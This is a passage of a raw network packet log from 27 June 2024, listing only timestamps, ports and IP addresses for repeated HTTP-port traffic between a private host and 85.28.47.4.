Jun 27, 2024 19:25:59.695548058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.695569992 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.695569992 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.695573092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.695588112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.695604086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.695609093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.695609093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.695620060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.695628881 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.695653915 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.695653915 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.696362972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.696377993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.696393013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.696408987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.696424007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.696424961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.696424007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.696441889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.696450949 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.696451902 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.696458101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.696470976 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.696476936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.696500063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.696510077 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.696510077 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.696516991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.696542978 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.696543932 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.696563005 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.697146893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.697163105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.697177887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.697191954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.697206974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.697221994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.697206974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.697237968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.697252989 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.697252989 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.697254896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.697273970 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.697282076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.697299004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.697299004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.697299957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.697315931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.697316885 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.697333097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.697335958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.697349072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.697355986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.697376013 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.697412968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.697921991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.697937965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.697972059 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.697997093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.698018074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.698035002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.698050022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.698065996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.698072910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.698072910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.698082924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.698093891 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.698115110 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.698133945 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.698448896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.698463917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.698477983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.698487043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.698524952 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.698579073 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.777786970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.777847052 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.777852058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.777868986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.777911901 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.777911901 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.777981997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.777997971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.778019905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.778037071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.778038979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.778038979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.778059959 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.778076887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.778347969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.778363943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.778378010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.778392076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.778408051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.778413057 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.778413057 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.778451920 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.778451920 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.778650999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.778671026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.778695107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.778703928 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.778708935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.778726101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.778729916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.778729916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.778743029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.778752089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.778759003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.778781891 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.778783083 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.778783083 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.779000044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.779047966 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.779107094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.779123068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.779138088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.779154062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.779158115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.779179096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.779184103 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.779184103 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.779196024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.779205084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.779210091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.779223919 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.779226065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.779249907 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.779249907 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.779268980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.779805899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.779819965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.779834986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.779850006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.779858112 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.779866934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.779881954 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.779884100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.779898882 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.779900074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.779917002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.779932976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.779944897 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.779944897 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.779949903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.779966116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.779969931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.779987097 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.779987097 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.780008078 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.780765057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.780781984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.780796051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.780811071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.780824900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.780827045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.780843973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.780847073 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.780859947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.780867100 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.780875921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.780886889 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.780893087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.780904055 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.780910969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.780921936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.780927896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.780939102 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.780957937 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.780977011 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.781601906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.781619072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.781625986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.781632900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.781646967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.781661987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.781677008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.781689882 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.781692028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.781708002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.781711102 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.781723976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.781730890 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.781739950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.781755924 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.781755924 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.781775951 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.782516956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.782532930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.782546997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.782563925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.782577038 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.782577991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.782594919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.782596111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.782609940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.782619953 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.782628059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.782644033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.782649994 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.782660961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.782670975 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.782677889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.782696009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.782696009 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.782721996 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.782721996 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.782741070 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.783401966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.783417940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.783432961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.783448935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.783452988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.783464909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.783479929 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.783479929 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.783482075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.783499002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.783504963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.783514977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.783529997 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.783530951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.783548117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.783552885 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.783560991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.783576012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.783576012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.783598900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.783616066 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.784149885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.784204006 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.784290075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.784306049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.784320116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.784334898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.784351110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.784351110 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.784351110 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.784365892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.784372091 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.784380913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.784392118 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.784398079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.784414053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.784424067 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.784430027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.784449100 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.784465075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.784517050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.785231113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.785245895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.785259962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.785274982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.785289049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.785288095 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.785311937 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.785307884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.785334110 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.785335064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.785352945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.785365105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.785371065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.785383940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.785387993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.785402060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.785403967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.785422087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.785422087 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.785448074 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.785448074 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.785468102 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.785856962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.785871983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.785885096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.785898924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.785912991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.785914898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.785929918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.785943985 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.785943985 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.785944939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.785969019 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.785984039 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.866235018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.866305113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.866353035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.866384029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.866415977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.866456985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.866472006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.866553068 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.866646051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.866662025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.866677999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.866694927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.866707087 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.866741896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.866741896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.866983891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.867000103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.867014885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.867029905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.867046118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.867059946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.867063999 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.867063999 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.867077112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.867094994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.867095947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.867095947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.867120981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.867121935 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.867141008 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.867404938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.867460966 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.867490053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.867506027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.867522001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.867535114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.867549896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.867549896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.867571115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.867732048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.867744923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.867759943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.867775917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.867794991 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.867794991 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.867830038 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.867845058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.867861032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.867876053 CEST	80	49705	85.28.47.4	192.168.2.5
